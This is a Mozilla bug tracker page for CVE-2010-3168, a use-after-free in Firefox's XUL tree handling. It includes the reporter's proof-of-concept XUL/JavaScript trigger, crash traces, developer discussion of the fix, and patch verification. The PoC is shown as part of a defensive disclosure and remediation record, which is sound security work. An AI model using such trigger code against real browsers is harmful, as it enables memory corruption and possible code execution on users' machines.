The default bug view has changed. See this FAQ.
Bug 576075 (CVE-2010-3168)

tree Object Removal Remote Code Execution Vulnerability (ZDI-CAN-817)

RESOLVED FIXED

Status

()

Core
XUL
--
critical
RESOLVED FIXED
7 years ago
7 years ago

People

(Reporter: reed, Assigned: smaug)

Tracking

({verified1.9.1, verified1.9.2})

unspecified
verified1.9.1, verified1.9.2
Points:
---

Firefox Tracking Flags

(blocking2.0 final+, blocking1.9.2 .9+, status1.9.2 .9-fixed, blocking1.9.1 .12+, status1.9.1 .12-fixed)

Details

(Whiteboard: [sg:critical?] maybe sg:dos in 1.9.2 and later? [critsmash:investigating])

Attachments

(3 attachments)

(Reporter)

Description

7 years ago
Created attachment 455236 [details]
PoC

ZDI-CAN-817: Mozilla Firefox tree Object Removal Remote Code Execution Vulnerability

-- ABSTRACT ------------------------------------------------------------

TippingPoint has identified a vulnerability affecting the following 
products:

    Mozilla Firefox 3.6.x

-- VULNERABILITY DETAILS -----------------------------------------------

This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Mozilla Firefox. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the support for XUL <tree> objects. If a
specific property of a tree object is set and the parent node attempts
to remove the child, the process can be made to access invalid memory.
This can be abused by an attacker to execute remote code under the
context of the user running the browser.

Version(s)  tested: Mozilla Firefox 3.6.2
Platform(s) tested: Windows XP SP3 x86

<window
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"
        onload="run()">

<tree>
  <treecols/>
  <treechildren/>
</tree>

<script type="text/javascript"><![CDATA[
function run() {
  var tree = document.getElementsByTagName("tree")[0];
  var view = tree.treeBoxObject.view;

  view.selection = {
    isSelected : function(i) {
      return false;
    },
    set tree(t) {
      if (t == null) {
        tree.parentNode.removeChild(tree);
      }
    }
  };

  var body = tree.treeBoxObject.treeBody;
  body.parentNode.removeChild(body);
}
]]></script>


-- CREDIT --------------------------------------------------------------

This vulnerability was discovered by:
    * regenrecht
(Reporter)

Comment 1

7 years ago
bp-1622bdfd-786f-4d9b-ad21-b97802100630

Mozilla/5.0 (X11; U; Linux i686; en-US; rv:2.0b2pre) Gecko/20100630 Minefield/4.0b2pre

Comment 2

7 years ago
Created attachment 455249 [details]
stack traces on mac

###!!! ASSERTION: Want to fire mutation events, but it's not safe: '(aNode->IsNodeOfType(nsINode::eCONTENT) && static_cast<nsIContent*>(aNode)-> IsInNativeAnonymousSubtree()) || sScriptBlockerCount == sRemovableScriptBlockerCount', file build/content/base/src/nsContentUtils.cpp, line 3534

###!!! ASSERTION: recurring into frame construction: 'mPresContext->mLayoutPhaseCount[eLayoutPhase_FrameC] == 0', file build/layout/base/nsPresContext.h, line 1275

Crash [@ nsStyleContext::GetRuleNode] [@ nsBoxFrame::RemoveFrame]
(Reporter)

Updated

7 years ago
blocking1.9.1: --- → ?
blocking1.9.2: --- → ?
blocking2.0: --- → ?
status1.9.1: --- → ?
status1.9.2: --- → ?
status2.0: --- → ?
Again, we need to prevent content script from implement nsITreeSelection. How do we do that?
In fact, why should content script *ever* be allowed to implement XPCOM interfaces via XPConnect?
In fact I thought we changed things to prevent that already...
It's required for some DOM stuff... EventListener objects, specifically.  :(

I would be fine with needing to explicitly flag interfaces that content script can implement, though.
OK, then let's do that.
On 3.6.x I get bp-25fbd0c4-b2ae-4e0c-bd95-ac5052100630 -- isn't that a frame-poisoned address and evidence that we've neutered this one?

On 3.5.x it's bad though, looks like it's off executing at a random address: bp-47bf29d4-1c50-4fe0-b24b-4e85a2100630
status1.9.1: ? → wanted
status1.9.2: ? → wanted
I don't know of a way to specifically prevent content code from implementing a specific interface, we'd pretty much need to do what bz suggested, e.g. explicitly marking the interfaces that we do let content implement (event handlers, user data handlers, tree iterator callbacks, etc).

But we could plug this hole if we simply made the tree.treeBoxObject.view object check in its selection setter that the given nsITreeSelection really is what we expect it to be (by QIing to a non-scriptable interface and making sure that QI succeeds). We do similar things in various places in the DOM code (by QI'ing to nsIContent or what not).
Yeah, we need to do both.
blocking1.9.1: ? → .12+
blocking1.9.2: ? → .8+
Whiteboard: [sg:critical?] → [sg:critical?] maybe just sg:dos in 1.9.2 and later?
Whiteboard: [sg:critical?] maybe just sg:dos in 1.9.2 and later? → [sg:critical?] maybe sg:dos in 1.9.2 and later?
Assignee: nobody → Olli.Pettay

Updated

7 years ago
Whiteboard: [sg:critical?] maybe sg:dos in 1.9.2 and later? → [sg:critical?] maybe sg:dos in 1.9.2 and later? [critsmash:investigating]
blocking2.0: ? → final+
status2.0: ? → ---
(Assignee)

Comment 11

7 years ago
Sorry for the delay. I'll look into this later today or tomorrow.
(Assignee)

Comment 12

7 years ago
Created attachment 460843 [details] [diff] [review]
patch

The patch is on purpose very similar to Bug 326501,
but had to add security check also the treebuilder.

As far as I see, other SetSelection methods aren't accessible from content.
Attachment #460843 - Flags: review?
(Assignee)

Updated

7 years ago
Attachment #460843 - Flags: review? → review?(enndeakin)
(Assignee)

Comment 13

7 years ago
And because we need the patch for branches, I didn't make
a generic "IsNative" interface, but took the safer approach and added a new
interface for TreeSelection.

Updated

7 years ago
Attachment #460843 - Flags: review?(enndeakin) → review+
(Assignee)

Comment 14

7 years ago
http://hg.mozilla.org/mozilla-central/rev/ad33abeb9305
Status: NEW → RESOLVED
Last Resolved: 7 years ago
Resolution: --- → FIXED
(Assignee)

Updated

7 years ago
Attachment #460843 - Flags: approval1.9.2.9?
Attachment #460843 - Flags: approval1.9.1.12?

Comment 15

7 years ago
Comment on attachment 460843 [details] [diff] [review]
patch

a=LegNeato for 1.9.2.9 and 1.9.1.12.
Attachment #460843 - Flags: approval1.9.2.9?
Attachment #460843 - Flags: approval1.9.2.9+
Attachment #460843 - Flags: approval1.9.1.12?
Attachment #460843 - Flags: approval1.9.1.12+
(Assignee)

Comment 16

7 years ago
http://hg.mozilla.org/releases/mozilla-1.9.2/rev/a5122f1a593d
status1.9.1: wanted → .12-fixed
status1.9.2: wanted → .9-fixed
(Assignee)

Comment 17

7 years ago
http://hg.mozilla.org/releases/mozilla-1.9.1/rev/73c6fec31954
Verified for 1.9.2.9 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.9pre) Gecko/20100817 Namoroka/3.6.9pre ( .NET CLR 3.5.30729) using PoC. Does not crash as it does in 1.9.2.8.

Verified for 1.9.1.12 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.1.12pre) Gecko/20100817 Shiretoko/3.5.12pre ( .NET CLR 3.5.30729) using same PoC. Does not crash as it does in 1.9.1.11.
Keywords: verified1.9.1, verified1.9.2

Comment 19

7 years ago
Created attachment 469407 [details] [diff] [review]
1.8.0 version
Alias: CVE-2010-3168
Assignee: Olli.Pettay → dveditz
(Reporter)

Updated

7 years ago
Assignee: dveditz → Olli.Pettay
Group: core-security
You need to log in before you can comment on or make changes to this bug.